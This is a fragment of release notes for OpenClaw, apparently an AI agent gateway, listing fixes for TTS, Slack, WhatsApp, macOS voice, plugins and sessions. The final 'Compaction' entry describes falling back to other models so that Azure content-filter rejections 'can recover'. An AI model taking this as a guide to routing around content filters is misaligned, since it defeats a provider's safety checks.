<li>TTS/Telegram: keep trusted local audio generated by the TTS tool queued for voice-note delivery even when the run-level built-in tool list omits the raw <code>tts</code> name. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354905008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74752" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74752/hovercard" href="https://github.com/openclaw/openclaw/issues/74752">#74752</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Loveworld3033/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Loveworld3033">@Loveworld3033</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andyliu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andyliu">@andyliu</a>.</li>
<li>TTS: require explicit user or config audio intent for the agent speech tool so dashboard chats stay text unless audio is requested. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4303803702" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69777" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69777/hovercard" href="https://github.com/openclaw/openclaw/issues/69777">#69777</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexandre-leng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexandre-leng">@alexandre-leng</a>.</li>
<li>Plugins/config: keep bundled source-checkout plugins from being runtime-gated by install-only <code>minHostVersion</code> metadata, accept prerelease host floors, trim plugin-service startup failures to one log line, and avoid broad channel-runtime loading during base config parsing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Heartbeat: strip legacy <code>[TOOL_CALL]...[/TOOL_CALL]</code> and <code>[TOOL_RESULT]...[/TOOL_RESULT]</code> pseudo-call blocks from heartbeat replies before channel delivery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131762668" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54138" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54138/hovercard" href="https://github.com/openclaw/openclaw/issues/54138">#54138</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Deniable9570/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Deniable9570">@Deniable9570</a>.</li>
<li>macOS/Voice Wake: send wake-word and Push-to-Talk transcripts through the selected macOS session target instead of always falling back to main WebChat. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4107671050" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51040" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51040/hovercard" href="https://github.com/openclaw/openclaw/issues/51040">#51040</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/carl-jeffrolc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/carl-jeffrolc">@carl-jeffrolc</a>.</li>
<li>Providers/xAI: give Grok <code>web_search</code> a 60s default timeout, harden malformed xAI Responses parsing, and return structured timeout errors instead of aborting the tool call. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175237199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58063" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58063/hovercard" href="https://github.com/openclaw/openclaw/issues/58063">#58063</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4183930735" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58733" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58733/hovercard" href="https://github.com/openclaw/openclaw/issues/58733">#58733</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dnishimura/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dnishimura">@dnishimura</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marvcasasola-svg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marvcasasola-svg">@marvcasasola-svg</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nanako0129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nanako0129">@Nanako0129</a>.</li>
<li>Providers/configure: preserve the existing default model when adding or reauthing a provider whose plugin returns a default-model config patch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4099627324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50268" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50268/hovercard" href="https://github.com/openclaw/openclaw/issues/50268">#50268</a>. Thanks @rixcorp-oc.</li>
<li>Slack/DMs/routing: honor <code>dmHistoryLimit</code> for fresh 1:1 DMs, keep top-level DMs on stable DM sessions even when <code>replyToMode</code> targets thread replies, send text/block-only proactive DMs directly with <code>chat.postMessage(channel=&lt;user id&gt;)</code>, match Slack target route syntax such as <code>channel:C...</code>, <code>user:U...</code>, or <code>&lt;@U...&gt;</code>, and match public-channel allowlists against bare runtime channel IDs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4240708914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64427" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64427/hovercard" href="https://github.com/openclaw/openclaw/issues/64427">#64427</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4184870759" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58832" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58832/hovercard" href="https://github.com/openclaw/openclaw/issues/58832">#58832</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4213098355" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62042" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62042/hovercard" href="https://github.com/openclaw/openclaw/issues/62042">#62042</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4048907648" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41608" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41608/hovercard" href="https://github.com/openclaw/openclaw/issues/41608">#41608</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4046643845" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41264" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41264/hovercard" href="https://github.com/openclaw/openclaw/issues/41264">#41264</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4160915756" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56530" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56530/hovercard" href="https://github.com/openclaw/openclaw/pull/56530">#56530</a>. Thanks @brantley-creator, @daye-jjeong, @MarkMolina, @Winnsolutionsadmin, @babutree, and @Realworld404.</li>
<li>Slack/delivery/capabilities: preserve missing-scope details in outbound errors, read granted scopes from <code>auth.test</code> metadata before legacy APIs, retry Slack writes only for wrapped DNS request failures such as <code>EAI_AGAIN</code>, and prefer the account bound to the outbound target peer in multi-workspace sends. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4216375787" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62391" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62391/hovercard" href="https://github.com/openclaw/openclaw/issues/62391">#62391</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4068646797" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44625" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44625/hovercard" href="https://github.com/openclaw/openclaw/issues/44625">#44625</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289779783" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68789" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68789/hovercard" href="https://github.com/openclaw/openclaw/issues/68789">#68789</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264751663" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66807/hovercard" href="https://github.com/openclaw/openclaw/pull/66807">#66807</a>. Thanks @alexey-pelykh, @Qquanwei, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>, @sonnyb9, and @rijhsinghani.</li>
<li>Slack/message actions/tools: send media before follow-up Block Kit messages for file sends, forward agent-scoped media roots through the bundled upload-file path, resolve <code>&lt;!subteam^...&gt;</code> user-group mentions before waking mention-gated channels, and let <code>read</code> fetch an exact Slack message timestamp or thread reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4111591995" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51458" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51458/hovercard" href="https://github.com/openclaw/openclaw/issues/51458">#51458</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4242973170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64625" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64625/hovercard" href="https://github.com/openclaw/openclaw/issues/64625">#64625</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346503795" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73827/hovercard" href="https://github.com/openclaw/openclaw/issues/73827">#73827</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4130437054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53943" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53943/hovercard" href="https://github.com/openclaw/openclaw/issues/53943">#53943</a>. Thanks @HirokiKobayashi-R, @benpchandler, @CG-Intelligence-Agent-Jack, and @zomars.</li>
<li>PDF/Gemini: send native PDF analysis API keys in the <code>x-goog-api-key</code> header instead of the request URL, keeping secrets out of proxy and access logs. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4202693803" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60600" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60600/hovercard" href="https://github.com/openclaw/openclaw/pull/60600">#60600</a>. Thanks @garagon.</li>
<li>Web search/Gemini/DuckDuckGo/Brave/fetch: route abort signals into Gemini provider fetches, late-bind managed agent <code>web_search</code> calls to the current runtime config snapshot, reuse Google provider API key/base URL as lower-priority Gemini search fallbacks, pass Gemini freshness/date filters through grounding, include DuckDuckGo in setup, honor Gemini/Grok/x_search <code>baseUrl</code> overrides, point Brave metadata at canonical docs, support Brave LLM Context freshness/date ranges, resolve external <code>webFetchProviders</code> for non-sandboxed fetches, and point missing-key errors to <code>web_fetch</code> or browser where appropriate. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338236726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72995" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72995/hovercard" href="https://github.com/openclaw/openclaw/issues/72995">#72995</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362762607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75420" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75420/hovercard" href="https://github.com/openclaw/openclaw/issues/75420">#75420</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4261488656" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66498" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66498/hovercard" href="https://github.com/openclaw/openclaw/issues/66498">#66498</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4253504720" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65862" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65862/hovercard" href="https://github.com/openclaw/openclaw/issues/65862">#65862</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4253527816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65870" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65870/hovercard" href="https://github.com/openclaw/openclaw/issues/65870">#65870</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355873723" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74915" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74915/hovercard" href="https://github.com/openclaw/openclaw/issues/74915">#74915</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4167524438" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57496" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57496/hovercard" href="https://github.com/openclaw/openclaw/pull/57496">#57496</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4254540581" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65940" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65940/hovercard" href="https://github.com/openclaw/openclaw/pull/65940">#65940</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4212565688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61972" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61972/hovercard" href="https://github.com/openclaw/openclaw/pull/61972">#61972</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4253794124" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65892" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65892/hovercard" href="https://github.com/openclaw/openclaw/pull/65892">#65892</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4107380876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51005" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/51005/hovercard" href="https://github.com/openclaw/openclaw/pull/51005">#51005</a>. Thanks @RoseKongPS, @richardmqq, @Aoiujz, @ismael-81, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lanfei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lanfei">@Lanfei</a>, @Magicray1217, @remusao, @ultrahighsuper, @mingmingtsao, and @zhaoyang97.</li>
<li>Slack/directory: make <code>openclaw directory peers/groups list --channel slack</code> prefer token-backed live readers and return the connected Slack account from <code>directory self</code>, so valid Slack tokens no longer produce empty directory CLI results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4105363396" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50776" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50776/hovercard" href="https://github.com/openclaw/openclaw/issues/50776">#50776</a>. Thanks @pjaillon.</li>
<li>Slack: keep assistant typing status, temporary typing reactions, and status reactions active for group/channel turns that use message-tool-only visible replies, while still suppressing automatic source replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367334076" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75877" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75877/hovercard" href="https://github.com/openclaw/openclaw/issues/75877">#75877</a>. Thanks @teosborne.</li>
<li>Slack: recover full inbound DM text from top-level rich-text blocks when Slack sends a shortened message preview, so long direct messages still reach the agent intact. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4147105482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55358" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55358/hovercard" href="https://github.com/openclaw/openclaw/issues/55358">#55358</a>. Thanks @tonyjwinter.</li>
<li>Replies: strip legacy <code>[TOOL_CALL]{tool =&gt; ..., args =&gt; ...}[/TOOL_CALL]</code> pseudo-call text from user-facing replies and flag it in tool-call diagnostics instead of showing raw tool syntax in channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4230337239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63610" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63610/hovercard" href="https://github.com/openclaw/openclaw/issues/63610">#63610</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/canh0chua/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/canh0chua">@canh0chua</a>.</li>
<li>WhatsApp: close long-lived web sockets through Baileys <code>end(error)</code> before falling back to raw websocket close, so listener teardown runs Baileys cleanup instead of leaving zombie sockets. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116852446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52442" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52442/hovercard" href="https://github.com/openclaw/openclaw/issues/52442">#52442</a>. Thanks @essendigitalgroup-cyber.</li>
<li>Twitch/plugins: emit a flat JSON Schema for Twitch channel config so single-account and multi-account configs validate before runtime load, and add source-checkout diagnostics for missing pnpm workspace dependencies. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/sessions: move hot transcript reads and mirror appends onto async bounded IO with serialized parent-linked writes, keeping large session histories from stalling Gateway requests and channel replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364571913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75656" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75656/hovercard" href="https://github.com/openclaw/openclaw/issues/75656">#75656</a>. Thanks @DerFlash.</li>
<li>macOS/Talk Mode: downmix multi-channel microphone buffers before handing them to Apple Speech across Push-to-Talk, Talk Mode, Voice Wake, and the wake-word tester, so pro audio interfaces no longer produce empty transcripts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4054504623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42533" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42533/hovercard" href="https://github.com/openclaw/openclaw/issues/42533">#42533</a>. Thanks @jbuecker.</li>
<li>macOS/Talk Mode: subscribe native WebChat to active-session transcript updates and render external spoken user turns in the chat thread instead of only showing assistant replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359538657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75155" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75155/hovercard" href="https://github.com/openclaw/openclaw/issues/75155">#75155</a>. Thanks @SledderBling.</li>
<li>macOS/Voice Wake: accept trigger-only phrases in the built-in Voice Wake test, matching the settings UI and runtime trigger-only path instead of requiring extra command text after the wake word. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245638367" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64986" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64986/hovercard" href="https://github.com/openclaw/openclaw/issues/64986">#64986</a>. Thanks @zoiks65.</li>
<li>Cron/TTS: run cron announce payloads through the normal TTS directive transform before outbound delivery, so scheduled <code>[[tts]]</code> replies generate voice payloads instead of leaking raw tags. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4115170457" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52125" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52125/hovercard" href="https://github.com/openclaw/openclaw/issues/52125">#52125</a>. Thanks @kenchen3000.</li>
<li>WhatsApp: save downloadable quoted image media from reply context as inbound media, so agents can inspect an image that a user replied to instead of only seeing <code>&lt;media:image&gt;</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4188698212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59174" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59174/hovercard" href="https://github.com/openclaw/openclaw/issues/59174">#59174</a>. Thanks @gaffner.</li>
<li>Sessions/store: stop persisting the runtime-only <code>skillsSnapshot.resolvedSkills</code> array inside each session entry, so <code>sessions.json</code> no longer carries a copy of every parsed <code>SKILL.md</code> body for every active session; <code>ensureSkillSnapshot</code> rehydrates the array from disk on cold resume so the embedded runner, the Claude CLI skills plugin, and the Claude live-session fingerprint all see populated skills, and legacy stores self-heal on the next save. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3913009724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/11950" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/11950/hovercard" href="https://github.com/openclaw/openclaw/issues/11950">#11950</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3883150285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/6650" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/6650/hovercard" href="https://github.com/openclaw/openclaw/issues/6650">#6650</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3934112753" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/15000" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/15000/hovercard" href="https://github.com/openclaw/openclaw/issues/15000">#15000</a>. Thanks @amoghasgekar.</li>
<li>Doctor/WhatsApp: warn when Linux crontabs still run the legacy <code>ensure-whatsapp.sh</code> health check, which can misreport <code>Gateway inactive</code> when cron lacks the systemd user-bus environment. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4199567980" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60204" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60204/hovercard" href="https://github.com/openclaw/openclaw/issues/60204">#60204</a>. Thanks @mySebbe.</li>
<li>Slack/setup: print the generated app manifest as plain JSON instead of embedding it inside the framed setup note, so it can be copied into Slack without deleting border characters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251790246" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65751" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65751/hovercard" href="https://github.com/openclaw/openclaw/issues/65751">#65751</a>. Thanks @theDanielJLewis.</li>
<li>Channels/WhatsApp: route CLI logout through the live Gateway and stop runtime-backed listeners before channel removal, so removing a WhatsApp account does not leave the old socket replying until restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4277177561" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67746" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67746/hovercard" href="https://github.com/openclaw/openclaw/issues/67746">#67746</a>. Thanks @123Mismail.</li>
<li>Voice Call/Twilio: honor TTS directive text and provider voice/model overrides during telephony synthesis, so <code>[[tts:...]]</code> tags are not spoken literally and voiceId overrides reach OpenAI/ElevenLabs calls. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175530255" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58114" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58114/hovercard" href="https://github.com/openclaw/openclaw/issues/58114">#58114</a>. Thanks @legonhilltech-jpg.</li>
<li>Agents/session-locks: reclaim untracked current-process session locks with matching starttime during acquisition and startup cleanup, so Gateway restarts recover from self-owned orphan <code>.jsonl.lock</code> files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366526190" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75805" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75805/hovercard" href="https://github.com/openclaw/openclaw/issues/75805">#75805</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4093489842" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49603" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49603/hovercard" href="https://github.com/openclaw/openclaw/issues/49603">#49603</a>. Thanks @cdznho.</li>
<li>Agents/subagents: initialize built-in context engines before native <code>sessions_spawn</code> resolves spawn preparation, so cliBackend-only cold starts no longer fail with an unregistered <code>legacy</code> context engine. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339592375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73095" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73095/hovercard" href="https://github.com/openclaw/openclaw/issues/73095">#73095</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347197163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73904" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73904/hovercard" href="https://github.com/openclaw/openclaw/pull/73904">#73904</a>) Thanks @brokemac79.</li>
<li>Plugins/Bonjour: ship the ciao runtime dependency with packaged OpenClaw so fresh OCM envs can start default mDNS discovery without a missing-module failure. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/tools: scope reply plugin-tool discovery to manifest-declared tool owners and already-active matching tool entries, avoiding broad plugin runtime loading for narrow or core-only tool allowlists. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/replies: defer implicit image model discovery and keep OAuth auth-store adoption on persisted profiles during reply startup, cutting OCM MarCodex warm prep to sub-second in live checks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/tools: enforce <code>contracts.tools</code> as the manifest ownership contract for plugin tool registration, rejecting undeclared runtime tool names and adding bundled plugin drift coverage. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/Codex: stop prompting message-tool-only source turns to finish with <code>NO_REPLY</code>, so quiet turns are represented by not calling the visible message tool instead of conflicting final-text instructions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Gateway/config: report failed backup restores as failed in logs and config observe audit records instead of marking them valid. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4314005687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70515" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70515/hovercard" href="https://github.com/openclaw/openclaw/pull/70515">#70515</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidangularme/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidangularme">@davidangularme</a>.</li>
<li>Compaction: use the active session model fallback chain for implicit summarization failures without persisting fallback model selection, so Azure content-filter 400s can recover. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245460651" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64960" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64960/hovercard" href="https://github.com/openclaw/openclaw/issues/64960">#64960</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352068136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74470" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74470/hovercard" href="https://github.com/openclaw/openclaw/pull/74470">#74470</a>) Thanks @jalehman and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OpenCodeEngineer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OpenCodeEngineer">@OpenCodeEngineer</a>.</li>
